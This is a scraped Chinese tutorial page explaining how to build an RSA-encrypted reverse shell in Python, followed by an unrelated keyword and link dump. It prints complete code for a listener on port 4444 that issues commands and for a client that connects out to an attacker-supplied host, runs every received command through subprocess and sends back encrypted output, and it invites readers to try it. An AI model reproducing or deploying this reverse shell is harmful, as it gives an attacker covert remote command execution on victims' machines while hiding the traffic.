千家信息网

如何使用RSA加密在Python中逆向shell

发表于:2024-11-23 作者:千家信息网编辑
千家信息网最后更新 2024年11月23日,本篇内容主要讲解"如何使用RSA加密在Python中逆向shell",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"如何使用RSA加密在Python中逆向sh
千家信息网最后更新 2024年11月23日如何使用RSA加密在Python中逆向shell

本篇内容主要讲解"如何使用RSA加密在Python中逆向shell",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"如何使用RSA加密在Python中逆向shell"吧!

使用RSA加密在Python中逆向shell

首先,我们需要一个侦听器来处理所有传入的连接。 这是listener_rsa.py的代码

#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().readkey = RSA.generate(2048, random_generator)public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:    s.bind(("0.0.0.0", 4444))except socket.error, v:    print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]    sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) :    client.send(pickle.dumps(public_key))def clienthandle(client) :    while True :        command = raw_input('~$ ')        client.send(command)        if command == 'quit' :           break        buf = client.recv(2048)        encreply = pickle.loads(buf)        print key.decrypt(encreply)while True:    (client, (ip, port)) = s.accept()    print "Received connection from : ", ip    start_new_thread(clientthread_sendpublickey, (client,))    print "Public Key sent to", ipstart_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模块进行加密。 继续安装它。 我建议使用pip来安装模块。

$ sudo pip install pycrypto

在我们进入代码之前,让我向你解释一下RSA加密及其密钥。 RSA是一种非对称加密标准。 它有两个键,公共和私有。 简单来说,公钥用于加密消息,私钥用于解密。 下面是描述该过程的框图

如果你对RSA的数学工作感兴趣,那么我建议你阅读http://mathworld.wolfram.com/RSAEncryption.html(当心,仅限极客)

在上面的程序中,首先生成密钥,该密钥也是私钥。

key = RSA.generate(2048, random_generator)

函数RSA.generate有两个参数,第一个是以位为单位的密钥的大小,第二个是通常使用python随机函数生成的随机数。 在创建私钥之后,从中提取公钥并将其存储在变量中以供将来使用。

public_key = key.publickey()

使用套接字模块创建套接字,这相对简单。 你可以参考Python套接字1的官方文档,甚至可以进行简单的Google搜索。

套接字绑定并等待连接传入连接。

注 - 如果要将Linux中的套接字绑定到小于1024的端口,则必须以root身份执行该脚本。

当收到连接时,初始化新线程以将生成的公钥发送到客户端,以便它可以加密回复。

def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))

我们为什么要用Pickle? Pickle用于序列化和反序列化python对象。 由于public_key不是常规字符串,因此必须对其进行pickle,然后将其发送到接收方。

警告 - pickle模块不能防止错误或恶意构造的数据。 切勿取消从不受信任或未经身份验证的来源收到的数据。

一旦发送了公钥,另一个线程clienthandle(客户端)被初始化为True:loop,它发送给接收者的命令。 接收器运行命令并使用公钥加密输出。 然后将输出的pickle发送给监听器。

回复是unpickled,使用私钥解密并打印在屏幕上。

encreply = pickle.loads(buf)print key.decrypt(encreply)

如果给出'quit'命令,则终止连接。

反向shell

让我们转到反向shell所在的接收器端。 reverse_shell_rsa的脚本如下所示

#!/usr/bin/pythonimport socket, subprocess, sysfrom Crypto.PublicKey import RSAfrom Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1]RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((RHOST, RPORT))def receive_key():   data_key = s.recv(1024)   return data_keypickled_publickey = receive_key()public_key = pickle.loads(pickled_publickey)
while True :    command = s.recv(1024)    if command == 'quit' :         break    reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)    stdout, stderr = reply.communicate()    en_reply = public_key.encrypt(stdout, 32)    s.send(pickle.dumps(en_reply))s.close()

一如既往,导入必要的模块。 要连接的IP地址作为参数提供,并存储在RHOST变量中。 创建套接字并与服务器(侦听器)建立连接。 一旦接受连接,服务器就会发送公钥(在listener.py脚本中向上滚动到clientthread_sendpublickey()),该公钥通过函数receive_key()接收并去除(记住pickling?)以获取公钥。

def receive_key():data_key = s.recv(1024)return data_keypickled_publickey = receive_key()public_key = pickle.loads(pickled_publickey)

一段时间初始化True循环以保持连接的持久性并接收命令。 如果命令是"退出",则节目结束。 否则,给定的命令作为子进程和标准输出运行,标准错误通过管道传递给变量'reply'。 然后使用公钥对标准输出进行加密,pickling并发送到服务器。

en_reply = public_key.encrypt(stdout, 32)s.send(pickle.dumps(en_reply))

然后耐心等待,直到下一个命令。

到此,相信大家对"如何使用RSA加密在Python中逆向shell"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

加密 公钥 命令 套接字 模块 密钥 标准 输出 函数 变量 服务器 脚本 服务 生成 两个 代码 侦听器 兴趣 内容 参数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 企业软件开发岗等级 通辽市云计算网络安全培训机构 未转变者服务器费用 数据库系统的认识csdn 极品飞车14服务器 计算机二级数据库题型 网络安全专业和司法公安系统 崩坏三安卓服务器可以转官服吗 云服务器里下载东西用的什么网络 网络安全 幽默 广播电视技术能手网络安全 银谷在线数据库知识 未来十年网络安全有什么影响 小学网络安全家长会 竹马小说软件开发 部队网络安全的意义 服务器内存如何提升 简单的连接数据库软件 黑客网络技术教程下载 数据库与微信连接 山东计算机网络安全公司 能不能查询到删除数据库语句 多人创造服务器手机版 数字化智慧校园软件开发 中国软件占达梦数据库多少股份 怎么上代理服务器 网络安全法和网络等级保护 日本系统笔记本下软件开发 服务器网络安全评估报告 数据库不定义主键直接定义外键
0